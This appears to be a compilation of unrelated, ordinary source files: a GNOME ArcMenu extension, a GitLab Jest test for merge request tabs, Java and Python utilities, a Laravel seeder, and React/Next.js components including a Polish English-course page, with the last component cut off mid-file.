_displayFavorites() {
if(this.MenuLayout)
this.MenuLayout.displayFavorites();
}
_loadFavorites() {
if(this.MenuLayout)
this.MenuLayout.loadFavorites();
}
_displayAllApps() {
if(this.MenuLayout)
this.MenuLayout.displayAllApps();
}
selectCategory(dir) {
if(this.MenuLayout)
this.MenuLayout.selectCategory(dir);
}
_displayGnomeFavorites(){
if(this.MenuLayout)
this.MenuLayout.displayGnomeFavorites();
}
_setActiveCategory(){
if(this.MenuLayout)
this.MenuLayout.setActiveCategory();
}
scrollToButton(button){
if(this.MenuLayout)
this.MenuLayout.scrollToButton(button);
}
reload(){
if(this.MenuLayout)
this.MenuLayout.needsReload = true;
}
getShouldLoadFavorites(){
if(this.MenuLayout)
return this.MenuLayout.shouldLoadFavorites;
}
resetSearch(){
if(this.MenuLayout)
this.MenuLayout.resetSearch();
}
setDefaultMenuView(){
if(this.MenuLayout)
this.MenuLayout.setDefaultMenuView();
}
_onOpenStateChanged(menu, open) {
if(open){
if(this.arcMenuPlacement === Constants.ArcMenuPlacement.PANEL){
this.menuButtonWidget.setActiveStylePseudoClass(true);
this.add_style_pseudo_class('active');
if(Main.panel.menuManager && Main.panel.menuManager.activeMenu)
Main.panel.menuManager.activeMenu.toggle();
}
else if(this.arcMenuPlacement === Constants.ArcMenuPlacement.DASH){
this.dash._fixedIsEnabled = true;
this.dash._autohideIsEnabled = false;
this.dash._updateDashVisibility();
this.menuButtonWidget.actor.add_style_pseudo_class('selected');
this.menuButtonWidget._icon.add_style_pseudo_class('active');
}
}
else{
if(this.arcMenuPlacement === Constants.ArcMenuPlacement.PANEL){
if(this.dtpPanel && this.dtpNeedsRelease){
this.dtpNeedsRelease = false;
this.dtpPanel.intellihide ? this.dtpPanel.intellihide.release(2) : null;
}
if(this.dtpPanel && this.dtpNeedsHiding){
this.dtpNeedsHiding = false;
this.dtpPanel.panelBox.visible = false;
}
if(this.mainPanelNeedsHiding){
Main.layoutManager.panelBox.visible = false;
this.mainPanelNeedsHiding = false;
}
if(!this.arcMenu.isOpen && !this.arcMenuContextMenu.isOpen){
this.menuButtonWidget.setActiveStylePseudoClass(false);
this.remove_style_pseudo_class('active');
}
}
else if(this.arcMenuPlacement === Constants.ArcMenuPlacement.DASH){
if(!this.arcMenu.isOpen && !this.arcMenuContextMenu.isOpen){
this.menuButtonWidget.actor.remove_style_pseudo_class('selected');
if(this.dtdNeedsHiding){
this.dash.visible = false;
this.dtdNeedsHiding = false;
}
else{
this.dash._updateVisibilityMode();
this.dash._updateDashVisibility();
}
if(!this.menuButtonWidget.actor.hover)
this.menuButtonWidget._icon.remove_style_pseudo_class('active');
}
}
}
}
});
var ArcMenu = class Arc_Menu_ArcMenu extends PopupMenu.PopupMenu{
constructor(sourceActor, arrowAlignment, arrowSide) {
super(sourceActor, arrowAlignment, arrowSide);
this._settings = sourceActor._settings;
this._menuButton = sourceActor;
Main.uiGroup.add_actor(this.actor);
this.actor.hide();
this._menuCloseID = this.connect('menu-closed', () => this._onCloseEvent());
this.connect('destroy', () => this._onDestroy());
}
open(animation){
if(this._menuButton.dtpPanel && !this._menuButton.dtpNeedsRelease && this._menuButton.arcMenuPlacement === Constants.ArcMenuPlacement.PANEL){
this._menuButton.dtpNeedsRelease = true;
this._menuButton.dtpPanel.intellihide ? this._menuButton.dtpPanel.intellihide.revealAndHold(2) : null;
}
this._onOpenEvent();
super.open(animation);
}
close(animation){
if(this._menuButton.contextMenuManager.activeMenu)
this._menuButton.contextMenuManager.activeMenu.toggle();
if(this._menuButton.subMenuManager.activeMenu)
this._menuButton.subMenuManager.activeMenu.toggle();
super.close(animation);
}
_onOpenEvent(){
this._menuButton.arcMenu.actor._muteInput = false;
if(this._menuButton.MenuLayout && this._menuButton.MenuLayout.needsReload){
this._menuButton.MenuLayout.reload();
this._menuButton.MenuLayout.needsReload = false;
this._menuButton.setDefaultMenuView();
}
}
_onCloseEvent(){
if(this._menuButton.MenuLayout && this._menuButton.MenuLayout.isRunning){
if(this._menuButton.MenuLayout.needsReload)
this._menuButton.MenuLayout.reload();
this._menuButton.MenuLayout.needsReload = false;
this._menuButton.setDefaultMenuView();
}
}
_onDestroy(){
if(this._menuCloseID){
this.disconnect(this._menuCloseID)
this._menuCloseID = null;
}
}
};
var ArcMenuContextMenu = class Arc_Menu_ArcMenuContextMenu extends PopupMenu.PopupMenu {
constructor(sourceActor, arrowAlignment, arrowSide) {
super(sourceActor, arrowAlignment, arrowSide);
this._settings = sourceActor._settings;
this._menuButton = sourceActor;
this.extensionSettingsItem = false;
this.actor.add_style_class_name('panel-menu');
Main.uiGroup.add_actor(this.actor);
this.actor.hide();
let item = new PopupMenu.PopupMenuItem(_("ArcMenu Settings"));
item.connect('activate', ()=>{
Util.spawnCommandLine(Constants.ArcMenu_SettingsCommand);
});
this.addMenuItem(item);
item = new PopupMenu.PopupSeparatorMenuItem();
item._separator.style_class='arc-menu-sep';
this.addMenuItem(item);
item = new PopupMenu.PopupMenuItem(_("ArcMenu GitLab Page"));
item.connect('activate', ()=>{
Util.spawnCommandLine('xdg-open ' + Me.metadata.url);
});
this.addMenuItem(item);
}
open(animation){
if(this._menuButton.dtpPanel && !this._menuButton.dtpNeedsRelease && this._menuButton.arcMenuPlacement === Constants.ArcMenuPlacement.PANEL){
this._menuButton.dtpNeedsRelease = true;
this._menuButton.dtpPanel.intellihide ? this._menuButton.dtpPanel.intellihide.revealAndHold(2) : null;
}
super.open(animation);
}
addExtensionSettings(arcMenuPlacement){
if(!this.extensionSettingsItem){
let extensionCommand, extensionName;
if(arcMenuPlacement === Constants.ArcMenuPlacement.PANEL){
extensionName = _("Dash to Panel Settings");
extensionCommand = 'gnome-extensions prefs ' + DASH_TO_PANEL_UUID;
}
else if(arcMenuPlacement === Constants.ArcMenuPlacement.DASH){
let dashToDock = Main.extensionManager.lookup(DASH_TO_DOCK_UUID);
let ubuntuDash = Main.extensionManager.lookup(UBUNTU_DOCK_UUID);
if(dashToDock && dashToDock.stateObj && dashToDock.stateObj.dockManager){
extensionName = _("Dash to Dock Settings");
extensionCommand = 'gnome-extensions prefs ' + DASH_TO_DOCK_UUID;
}
if(ubuntuDash && ubuntuDash.stateObj && ubuntuDash.stateObj.dockManager){
extensionName = _("Ubuntu Dock Settings");
extensionCommand = 'gnome-control-center ubuntu';
}
}
let item = new PopupMenu.PopupMenuItem(_(extensionName));
item.connect('activate', ()=>{
Util.spawnCommandLine(extensionCommand);
});
this.addMenuItem(item, 1);
this.extensionSettingsItem = true;
}
}
removeExtensionSettings(){
let children = this._getMenuItems();
if(children[1] instanceof PopupMenu.PopupMenuItem)
children[1].destroy();
this.extensionSettingsItem = false;
}
};
|
import MockAdapter from 'axios-mock-adapter';
import $ from 'jquery';
import htmlMergeRequestsWithTaskList from 'test_fixtures/merge_requests/merge_request_with_task_list.html';
import { setHTMLFixture, resetHTMLFixture } from 'helpers/fixtures';
import initMrPage from 'helpers/init_vue_mr_page_helper';
import { stubPerformanceWebAPI } from 'helpers/performance';
import axios from '~/lib/utils/axios_utils';
import MergeRequestTabs, { getActionFromHref } from '~/merge_request_tabs';
import Diff from '~/diff';
import '~/lib/utils/common_utils';
import '~/lib/utils/url_utility';
jest.mock('~/lib/utils/webpack', () => ({
resetServiceWorkersPublicPath: jest.fn(),
}));
describe('MergeRequestTabs', () => {
const testContext = {};
const stubLocation = {};
const setLocation = (stubs) => {
const defaults = {
pathname: '',
search: '',
hash: '',
};
$.extend(stubLocation, defaults, stubs || {});
};
beforeEach(() => {
stubPerformanceWebAPI();
initMrPage();
testContext.class = new MergeRequestTabs({ stubLocation });
setLocation();
testContext.spies = {
history: jest.spyOn(window.history, 'pushState').mockImplementation(() => {}),
};
gl.mrWidget = {};
});
afterEach(() => {
document.body.innerHTML = '';
});
describe('clickTab', () => {
let params;
beforeEach(() => {
document.documentElement.scrollTop = 100;
params = {
metaKey: false,
ctrlKey: false,
which: 1,
stopImmediatePropagation() {},
preventDefault() {},
currentTarget: {
getAttribute(attr) {
return attr === 'href' ? 'a/tab/url' : null;
},
},
};
});
it("stores the current scroll position if there's an active tab", () => {
testContext.class.currentTab = 'someTab';
testContext.class.clickTab(params);
expect(testContext.class.scrollPositions.someTab).toBe(100);
});
it("doesn't store a scroll position if there's no active tab", () => {
// this happens on first load, and we just don't want to store empty values in the `null` property
testContext.class.currentTab = null;
testContext.class.clickTab(params);
expect(testContext.class.scrollPositions).toEqual({});
});
});
describe('opensInNewTab', () => {
const windowTarget = '_blank';
let clickTabParams;
let tabUrl;
beforeEach(() => {
setHTMLFixture(htmlMergeRequestsWithTaskList);
tabUrl = $('.commits-tab a').attr('href');
clickTabParams = {
metaKey: false,
ctrlKey: false,
which: 1,
stopImmediatePropagation() {},
preventDefault() {},
currentTarget: {
getAttribute(attr) {
return attr === 'href' ? tabUrl : null;
},
},
};
});
afterEach(() => {
resetHTMLFixture();
});
describe('meta click', () => {
let metakeyEvent;
beforeEach(() => {
metakeyEvent = $.Event('click', { keyCode: 91, ctrlKey: true });
});
it('opens page when commits link is clicked', () => {
jest.spyOn(window, 'open').mockImplementation((url, name) => {
expect(url).toEqual(tabUrl);
expect(name).toEqual(windowTarget);
});
testContext.class.bindEvents();
$('.merge-request-tabs .commits-tab a').trigger(metakeyEvent);
expect(window.open).toHaveBeenCalled();
});
it('opens page when commits badge is clicked', () => {
jest.spyOn(window, 'open').mockImplementation((url, name) => {
expect(url).toEqual(tabUrl);
expect(name).toEqual(windowTarget);
});
testContext.class.bindEvents();
$('.merge-request-tabs .commits-tab a .badge').trigger(metakeyEvent);
expect(window.open).toHaveBeenCalled();
});
});
it('opens page tab in a new browser tab with Ctrl+Click - Windows/Linux', () => {
jest.spyOn(window, 'open').mockImplementation((url, name) => {
expect(url).toEqual(tabUrl);
expect(name).toEqual(windowTarget);
});
testContext.class.clickTab({ ...clickTabParams, metaKey: true });
expect(window.open).toHaveBeenCalled();
});
it('opens page tab in a new browser tab with Cmd+Click - Mac', () => {
jest.spyOn(window, 'open').mockImplementation((url, name) => {
expect(url).toEqual(tabUrl);
expect(name).toEqual(windowTarget);
});
testContext.class.clickTab({ ...clickTabParams, ctrlKey: true });
expect(window.open).toHaveBeenCalled();
});
it('opens page tab in a new browser tab with Middle-click - Mac/PC', () => {
jest.spyOn(window, 'open').mockImplementation((url, name) => {
expect(url).toEqual(tabUrl);
expect(name).toEqual(windowTarget);
});
testContext.class.clickTab({ ...clickTabParams, which: 2 });
expect(window.open).toHaveBeenCalled();
});
});
describe('setCurrentAction', () => {
let mock;
beforeEach(() => {
mock = new MockAdapter(axios);
mock.onAny().reply({ data: {} });
testContext.subject = testContext.class.setCurrentAction;
});
afterEach(() => {
mock.restore();
window.history.replaceState({}, '', '/');
});
it('changes from commits', () => {
setLocation({
pathname: '/foo/bar/-/merge_requests/1/commits',
});
expect(testContext.subject('show')).toBe('/foo/bar/-/merge_requests/1');
expect(testContext.subject('diffs')).toBe('/foo/bar/-/merge_requests/1/diffs');
});
it('changes from diffs', () => {
setLocation({
pathname: '/foo/bar/-/merge_requests/1/diffs',
});
expect(testContext.subject('show')).toBe('/foo/bar/-/merge_requests/1');
expect(testContext.subject('commits')).toBe('/foo/bar/-/merge_requests/1/commits');
});
it('changes from diffs.html', () => {
setLocation({
pathname: '/foo/bar/-/merge_requests/1/diffs.html',
});
expect(testContext.subject('show')).toBe('/foo/bar/-/merge_requests/1');
expect(testContext.subject('commits')).toBe('/foo/bar/-/merge_requests/1/commits');
});
it('changes from notes', () => {
setLocation({
pathname: '/foo/bar/-/merge_requests/1',
});
expect(testContext.subject('diffs')).toBe('/foo/bar/-/merge_requests/1/diffs');
expect(testContext.subject('commits')).toBe('/foo/bar/-/merge_requests/1/commits');
});
it('includes search parameters and hash string', () => {
setLocation({
pathname: '/foo/bar/-/merge_requests/1/diffs',
search: '?view=parallel',
hash: '#L15-35',
});
expect(testContext.subject('show')).toBe('/foo/bar/-/merge_requests/1?view=parallel#L15-35');
});
it('replaces the current history state', () => {
setLocation({
pathname: '/foo/bar/-/merge_requests/1',
});
window.history.replaceState(
{
url: window.location.href,
action: 'show',
},
document.title,
window.location.href,
);
const newState = testContext.subject('commits');
expect(testContext.spies.history).toHaveBeenCalledWith(
{
url: newState,
action: 'commits',
},
document.title,
newState,
);
});
it('treats "show" like "notes"', () => {
setLocation({
pathname: '/foo/bar/-/merge_requests/1/commits',
});
expect(testContext.subject('show')).toBe('/foo/bar/-/merge_requests/1');
});
});
describe('expandViewContainer', () => {
beforeEach(() => {
$('.content-wrapper .container-fluid').addClass('container-limited');
});
it('removes `container-limited` class from content container', () => {
expect($('.content-wrapper .container-limited')).toHaveLength(1);
testContext.class.expandViewContainer();
expect($('.content-wrapper .container-limited')).toHaveLength(0);
});
it('adds the diff-specific width-limiter', () => {
testContext.class.expandViewContainer();
expect(testContext.class.contentWrapper.classList.contains('diffs-container-limited')).toBe(
true,
);
});
});
describe('resetViewContainer', () => {
it('does not add `container-limited` CSS class when fluid layout is preferred', () => {
testContext.class.resetViewContainer();
expect($('.content-wrapper .container-limited')).toHaveLength(0);
});
it('adds `container-limited` CSS class back when fixed layout is preferred', () => {
document.body.innerHTML = '';
initMrPage();
$('.content-wrapper .container-fluid').addClass('container-limited');
// recreate the instance so that `isFixedLayoutPreferred` is re-evaluated
testContext.class = new MergeRequestTabs({ stubLocation });
$('.content-wrapper .container-fluid').removeClass('container-limited');
testContext.class.resetViewContainer();
expect($('.content-wrapper .container-limited')).toHaveLength(1);
});
it('removes the diff-specific width-limiter', () => {
testContext.class.resetViewContainer();
expect(testContext.class.contentWrapper.classList.contains('diffs-container-limited')).toBe(
false,
);
});
});
describe('tabShown', () => {
const mainContent = document.createElement('div');
const tabContent = document.createElement('div');
beforeEach(() => {
$.fn.renderGFM = jest.fn();
jest.spyOn(mainContent, 'getBoundingClientRect').mockReturnValue({ top: 10 });
jest.spyOn(tabContent, 'getBoundingClientRect').mockReturnValue({ top: 100 });
jest.spyOn(window, 'scrollTo').mockImplementation(() => {});
jest.spyOn(document, 'querySelector').mockImplementation((selector) => {
return selector === '.content-wrapper' ? mainContent : tabContent;
});
testContext.class.currentAction = 'commits';
});
it('calls window scrollTo with options if document has scrollBehavior', () => {
document.documentElement.style.scrollBehavior = '';
testContext.class.tabShown('commits', 'foobar');
expect(window.scrollTo.mock.calls[0][0]).toEqual({ top: 39, behavior: 'smooth' });
});
it('calls window scrollTo with two args if document does not have scrollBehavior', () => {
jest.spyOn(document.documentElement, 'style', 'get').mockReturnValue({});
testContext.class.tabShown('commits', 'foobar');
expect(window.scrollTo.mock.calls[0]).toEqual([0, 39]);
});
it.each`
tab | hides | hidesText
${'show'} | ${false} | ${'shows'}
${'diffs'} | ${true} | ${'hides'}
${'commits'} | ${true} | ${'hides'}
`('$hidesText expand button on $tab tab', ({ tab, hides }) => {
const expandButton = document.createElement('div');
expandButton.classList.add('js-expand-sidebar');
const tabsContainer = document.createElement('div');
tabsContainer.innerHTML =
'<div class="tab-content"><div id="diff-notes-app"></div><div class="commits tab-pane"></div></div>';
tabsContainer.classList.add('merge-request-tabs-container');
tabsContainer.appendChild(expandButton);
document.body.appendChild(tabsContainer);
testContext.class = new MergeRequestTabs({ stubLocation });
testContext.class.tabShown(tab, 'foobar');
testContext.class.expandSidebar.forEach((el) => {
expect(el.classList.contains('gl-display-none!')).toBe(hides);
});
});
describe('when switching tabs', () => {
const SCROLL_TOP = 100;
beforeEach(() => {
jest.spyOn(window, 'scrollTo').mockImplementation(() => {});
testContext.class.mergeRequestTabs = document.createElement('div');
testContext.class.mergeRequestTabPanes = document.createElement('div');
testContext.class.currentTab = 'tab';
testContext.class.scrollPositions = { newTab: SCROLL_TOP };
});
it('scrolls to the stored position, if one is stored', () => {
testContext.class.tabShown('newTab');
jest.advanceTimersByTime(250);
expect(window.scrollTo.mock.calls[0][0]).toEqual({
top: SCROLL_TOP,
left: 0,
behavior: 'auto',
});
});
it('does not scroll if no position is stored', () => {
testContext.class.tabShown('unknownTab');
jest.advanceTimersByTime(250);
expect(window.scrollTo).not.toHaveBeenCalled();
});
});
});
describe('tabs <-> diff interactions', () => {
beforeEach(() => {
jest.spyOn(testContext.class, 'loadDiff').mockImplementation(() => {});
});
describe('switchViewType', () => {
it('marks the class as having not loaded diffs already', () => {
testContext.class.diffsLoaded = true;
testContext.class.switchViewType({});
expect(testContext.class.diffsLoaded).toBe(false);
});
it('reloads the diffs', () => {
testContext.class.switchViewType({ source: 'a new url' });
expect(testContext.class.loadDiff).toHaveBeenCalledWith({
endpoint: 'a new url',
strip: false,
});
});
});
describe('createDiff', () => {
it("creates a Diff if there isn't one", () => {
expect(testContext.class.diffsClass).toBe(null);
testContext.class.createDiff();
expect(testContext.class.diffsClass).toBeInstanceOf(Diff);
});
it("doesn't create a Diff if one already exists", () => {
testContext.class.diffsClass = 'truthy';
testContext.class.createDiff();
expect(testContext.class.diffsClass).toBe('truthy');
});
it('sets the available MR Tabs event hub to the new Diff', () => {
expect(testContext.class.diffsClass).toBe(null);
testContext.class.createDiff();
expect(testContext.class.diffsClass.mrHub).toBe(testContext.class.eventHub);
});
});
describe('setHubToDiff', () => {
it('sets the MR Tabs event hub to the child Diff', () => {
testContext.class.diffsClass = {};
testContext.class.setHubToDiff();
expect(testContext.class.diffsClass.mrHub).toBe(testContext.class.eventHub);
});
it('does not fatal if theres no child Diff', () => {
testContext.class.diffsClass = null;
expect(() => {
testContext.class.setHubToDiff();
}).not.toThrow();
});
});
});
describe('getActionFromHref', () => {
it.each`
pathName | action
${'/user/pipelines/-/merge_requests/1/diffs'} | ${'diffs'}
${'/user/diffs/-/merge_requests/1/pipelines'} | ${'pipelines'}
${'/user/pipelines/-/merge_requests/1/commits'} | ${'commits'}
${'/user/pipelines/1/-/merge_requests/1/diffs'} | ${'diffs'}
${'/user/pipelines/-/merge_requests/1'} | ${'show'}
`('returns $action for $location', ({ pathName, action }) => {
expect(getActionFromHref(pathName)).toBe(action);
});
});
});
|
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package Utilities;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.time.DateTimeException;
import java.time.LocalDate;
import java.time.format.DateTimeFormatter;
/**
*
* @author jsold
*/
public class UtilitiesRead {
private static BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
/**
*
* @param text
* @return the int that is going to be introduced by console
*/
public static int readInt(String text) {
int number;
while (true) {
try {
number = Integer.parseInt(readString(text));
return number;
} catch (NumberFormatException error) {
System.out.println("Error reading an int; please try again." + error);
}
}
}
/**
*
* @param text
* @return the string that is going to be introduced by console
*/
public static String readString(String text) {
System.out.print(text);
while (true) {
try {
String stringReaded;
stringReaded = reader.readLine();
return stringReaded;
} catch (Exception error) {
System.out.println("Error reading the String; please try again" + error);
}
}
}
/**
*
* @param birthdate
* @return the LocalDate that is going to be introduced by console
*/
public static LocalDate readDate(String birthdate) {
while (true) {
try {
DateTimeFormatter dtf = DateTimeFormatter.ofPattern("yyyy-MM-dd");
LocalDate dob = LocalDate.parse(birthdate, dtf);
return dob;
} catch (DateTimeException e) {
System.out.println("Incorrect date");
birthdate = UtilitiesRead.readString("Introduce the date of birth [yyyy-mm-dd]: ");
}
}
}
}
|
// Component dependencies
import { Form, Input } from "antd";
import getGfFieldId from "@/functions/wordpress/gravityForms/getGfFieldId";
// Types
interface TextAreaProps {
label: string;
errorMessage: string;
visibility: string;
maxLength: number;
isRequired: boolean;
placeholder: string;
id: number;
description?: string;
}
export const TextArea = ({
errorMessage,
label,
maxLength,
visibility,
isRequired,
placeholder,
id,
description,
}: TextAreaProps) => {
// unique id for label.
const uniqueId = getGfFieldId(id) as string;
// manage input visibility based on value
const visbile = visibility === "VISIBLE" ? false : true;
return (
<Form.Item
label={label}
htmlFor={uniqueId}
name={uniqueId}
rules={[{ required: isRequired, message: errorMessage ?? "" }]}
hidden={visbile}
extra={description}
>
<Input.TextArea maxLength={maxLength} placeholder={placeholder} />
</Form.Item>
);
};
|
import math
import random
import numpy as np
import cv2
class PathGenerator():
def __init__(self, min_dist, max_dist, x_limit, y_limit, n_step):
self.min_dist = min_dist
self.max_dist = max_dist
self.x_limit = x_limit
self.y_limit = y_limit
self.min_step = min_dist / n_step
self.max_step = max_dist / n_step
self.start_point = [round(random.uniform(x_limit[0], x_limit[1]), 2), round(random.uniform(y_limit[0], y_limit[1]), 2)]
self.end_point = self.choose_point_with_radius(self.start_point)
self.image_size = (224, 224)
def choose_point_with_radius(self, p1):
angle = random.uniform(0, 2 * math.pi)
radius = random.uniform(self.min_dist, self.max_dist)
x = p1[0] + radius * math.cos(angle)
y = p1[1] + radius * math.sin(angle)
x = max(min(x, self.x_limit[1]), self.x_limit[0])
y = max(min(y, self.y_limit[1]), self.y_limit[0])
return [x, y]
def generate_path(self):
path = [self.start_point]
current_point = self.start_point[:]
while True:
distance_to_end = self.get_distance(current_point, self.end_point)
if distance_to_end <= self.max_step:
path.append(self.end_point)
break
step_size = random.uniform(self.min_step, self.max_step)
angle = random.uniform(0, 2 * math.pi)
step_x = step_size * math.cos(angle)
step_y = step_size * math.sin(angle)
new_point = (current_point[0] + step_x, current_point[1] + step_y)
new_dist = self.get_distance(new_point, self.end_point)
if new_dist > distance_to_end:
continue
path.append(new_point)
current_point = new_point
path = [[round(x, 2), round(y, 2)] for x, y in path]
return path
@staticmethod
def get_orientation(p1, p2):
dx = p2[0] - p1[0]
dy = p2[1] - p1[1]
return round(math.atan2(dy, dx), 2)
@staticmethod
def get_distance(p1, p2):
return math.sqrt((p2[0] - p1[0]) ** 2 + (p2[1] - p1[1]) ** 2)
def generate_floor_plan(self, path):
image = np.zeros((self.image_size))
points = np.array(path[:], dtype=float)
if self.x_limit[0] < 0:
points[:, 0] += abs(self.x_limit[0])
if self.y_limit[0] < 0:
points[:, 1] += abs(self.y_limit[0])
points[:, 0] *= round(self.image_size[0] / abs(self.x_limit[1] - self.x_limit[0]), 2)
points[:, 1] *= round(self.image_size[1] / abs(self.y_limit[1] - self.y_limit[0]), 2)
points = points.clip(0, [self.image_size[0]-1, self.image_size[1]-1]).astype(int)
floor_path = []
s = points[0]
rect_top_left = s - 1
rect_bottom_right = s + 1
rect_points = np.array([[rect_top_left[0], rect_top_left[1]],
[rect_top_left[0], rect_bottom_right[1]],
[rect_bottom_right[0], rect_bottom_right[1]],
[rect_bottom_right[0], rect_top_left[1]],
[rect_top_left[0], rect_top_left[1]]])
rect_points = rect_points.clip(0, [self.image_size[0]-1, self.image_size[1]-1]).astype(int)
floor_path.extend(rect_points)
for i in range(len(points) - 1):
p1, p2 = points[i:i+2]
num_points = max(abs(p1[0] - p2[0]), abs(p2[1] - p1[1])) + 1
pp = np.linspace(p1, p2, num_points)
pp = np.round(pp).astype(int)
floor_path.extend(pp)
floor_path = np.array(floor_path, dtype=int)
image[floor_path[:, 0], floor_path[:,1]] = 1
return np.expand_dims(image, axis=0)
def display_image(image):
if image is None:
print("Error: Unable to read the image.")
return
image = np.transpose(image, (1, 2, 0))
image = cv2.resize(image, (800, 600))
cv2.imshow('Floor plan', image)
cv2.waitKey(0)
cv2.destroyAllWindows()
if __name__ == "__main__":
pg = PathGenerator(8.0, 10.0, [-25, 25], [0, 22], 3)
goal_trajectory = pg.generate_path()
image = pg.generate_floor_plan(goal_trajectory)
display_image(image[:] * 255)
|
public class git_54 {
static class TreeNode{
int val;
TreeNode left;
TreeNode right;
TreeNode(int x) { val = x; }
}
public static boolean isSameTree(TreeNode p, TreeNode q) {
// Base case: both nodes are null
if (p == null && q == null) {
return true;
}
// One of the nodes is null, or their values are not equal
if (p == null || q == null || p.val != q.val) {
return false;
}
// Recursively check the left and right subtrees
return isSameTree(p.left, q.left) && isSameTree(p.right, q.right);
}
public static void main(String[] args) {
TreeNode root = new TreeNode(10);
root.left = new TreeNode(5);
root.right = new TreeNode(15);
root.left.left = new TreeNode(3);
root.left.right = new TreeNode(7);
root.right.right = new TreeNode(18);
TreeNode q = root.left;
System.out.println(isSameTree(root, q));
}
}
|
<?php
namespace Database\Seeders;
use Illuminate\Database\Console\Seeds\WithoutModelEvents;
use Illuminate\Database\Seeder;
use Spatie\Permission\Models\Permission;
use Spatie\Permission\Models\Role;
class RoleSeeder extends Seeder
{
/**
* Run the database seeds.
*/
public function run(): void
{
$roles = config('roles');
foreach ($roles as $role) {
Role::create([
'name' => $role,
'guard_name' => 'web'
]);
}
$permissions = config('permissions');
foreach ($permissions as $permission) {
Permission::create([
'name' => $permission,
'guard_name' => 'web'
]);
}
}
}
|
import Link from 'next/link';
import Image from 'next/image';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faCheck } from '@fortawesome/free-solid-svg-icons';
import PageHeader from '../../components/PageHeader';
import Accordion from '../../components/Accordion';
import useClickTracking from '../../hooks/useClickTracking';
import { events } from '../../services/tracking';
import { routeMap, routeNames } from '../../routes';
import CourseRequirements from '../../components/CourseRequirements';
import CourseDetails from '../../components/CourseDetails';
import courseGroupImage from '../../../public/images/course-group.jpg';
import styles from './Course.module.scss';
export default function CoursesGroup() {
const trackClick = useClickTracking();
return (
<>
<PageHeader title="Kursy grupowe" />
<section className={styles.root}>
<div className="container">
<div className="row">
<div className="col-lg-8">
<div className="course-single-header">
<h2 className="single-course-title">Zajęcia grupowe z języka angielskiego</h2>
<p>
Celem kursu jest ćwiczenie swobodnego komunikowania się, poszerzenie słownictwa i
wprowadzenie lub powtórzenie gramatyki
</p>
</div>
<div className="single-course-details ">
<div className="course-widget course-info">
<ul>
<li>
<FontAwesomeIcon icon={faCheck} />
Lekcje raz w tygodniu
</li>
<li>
<FontAwesomeIcon icon={faCheck} />
Zajęcia trwają 90 min (2 lekcje)
</li>
</ul>
</div>
</div>
<div className="edutim-single-course-segment edutim-course-topics-wrap">
<div className="edutim-course-details justify-content-between">
<h3 className="course-title">Rodzaje zajęć</h3>
<p>Możesz zdecydować się na jeden z czterech rodzajów zajęć:</p>
</div>
<div className="edutim-course-topics-contents">
<div className="edutim-course-topic">
<Accordion
id="individualTypes"
cards={[
{
title: 'Konwersacje',
id: '1',
content: (
<>
<p>
Konwersacje są to zajęcia w całości poświęcone na
ćwiczenie umiejętności mówienia w języku obcym. Mają na
celu utrwalenie poznanego słownictwa i struktur
gramatycznych oraz przede wszystkim pozbycie się
"bariery językowej".
</p>
<p>
Konwersacje są prowadzone nie tylko przez polskich
lektorów, lecz także przez rodowitych Anglików lub
Amerykanów (Native Speakers).
</p>
<p>
Uczestnicy kursu nabywają pewności siebie i swobodnie
używają języka obcego.
</p>
<p>
Ćwiczymy również scenki ‘z życia wzięte’ czyli wszystkie
prawdopodobne sytuacje, w których można się znaleźć
wyjeżdżając za granice np. pytanie o drogę, zamawianie
jedzenia w restauracji, na lotnisku, w hotelu, u lekarza
itp. Dodatkowo na zajęciach wprowadzane są elementy
Business English co daje uczniom praktyczną wiedzę z
tego zakresu.
</p>
<p>
Uczestnicy kursu również sami wybierają interesujące ich
tematy dyskusji. Dzięki temu uczniowie, którzy mają
możliwość współtworzyć lekcje, z zaangażowaniem
uczestniczą w zajęciach. Zdobywają oni cenną umiejętność
negocjowania, relacjonowania wydarzeń a nawet targowania
się w obcym języku.
</p>
<p>
Stopień trudności i tematy na kursie konwersacji są
dopasowane do wieku i stopnia zaawansowania językowego
uczniów.
</p>
</>
),
},
{
title: 'General English',
id: '2',
content: (
<>
<p>
Celem kursu jest rozwój wszystkich sprawności językowych
(mówienia, czytania, słuchania oraz pisania).
</p>
<p>
Dzięki temu kursant osiąga swobodę w porozumiewanie się
w języku angielskim oraz jest przygotowany do
kontynuowania nauki na wyższych poziomach w celu
przygotowania do egzaminów FCE, CAE i CPE.
</p>
</>
),
},
{
title: 'Business English',
id: '3',
content: (
<>
<p>
Kurs ten skierowany jest do osób posługujących się
językiem angielskim w pracy.
</p>
<p>
Program zajęć obejmuje naukę słownictwa tematycznego,
pisania formalnych dokumentów oraz konwersacje
biznesowe.
</p>
</>
),
},
]}
/>
</div>
</div>
</div>
</div>
<div className="col-lg-4">
<div className="course-sidebar">
<div className="course-single-thumb">
<Image
src={courseGroupImage}
alt="Grupa uczniów podczas lekcji angielskiego"
placeholder="blur"
layout="responsive"
sizes="(min-width: 1200px) 318px, (min-width: 992px) 258px, (min-width: 768px) 658px, (min-width: 576px) 478px, calc(100vw - 62px)"
quality="75"
/>
<div className="course-price-wrapper">
<div className="course-price ml-3">
<h4>
Cena: <span>1190 zł</span>
</h4>
</div>
<div className="buy-btn">
<Link href={routeMap[routeNames.CONTACT]}>
<a
className="btn btn-main btn-block"
onClick={() => trackClick(events.GROUP_COURSE_CLICK_ENROLL)}
>
Zapisz się
</a>
</Link>
</div>
</div>
</div>
<CourseDetails
items={[
{
title: 'Czas:',
content: '2 lekcje tygodniowo (90 min.)',
icon: 'alarm-clock',
},
{
title: 'Liczba lekcji:',
content: '68 w ciągu roku',
icon: 'refresh-time',
},
{
title: 'Płatność:',
content: 'za semestr z góry',
icon: 'money-bag',
},
{
title: 'Poziom:',
content: 'A2, B1, B2, C1, C2',
icon: 'graph-bar',
},
{
title: 'Gdzie:',
content: 'Online',
icon: 'location-pointer',
},
]}
/>
<CourseRequirements />
</div>
</div>
</div>
</div>
</section>
</>
);
}
|
import { useNavigate } from "react-router-dom";
import { OrderItem } from "../../types";
const PTag = ({title, text}: {title: string, text: string}) => {
return (
<div className="flex gap-2 items-center">
<p className=" font-semibold text-base">{title}</p>
<p>{text}</p>
</div>
)
}
const OrderList = ({ order, idx }: { order: OrderItem, idx:number }) => {
const navigate = useNavigate();
return (
<div className="p-4 flex_col border border-primary-main text-slate-600 rounded-lg">
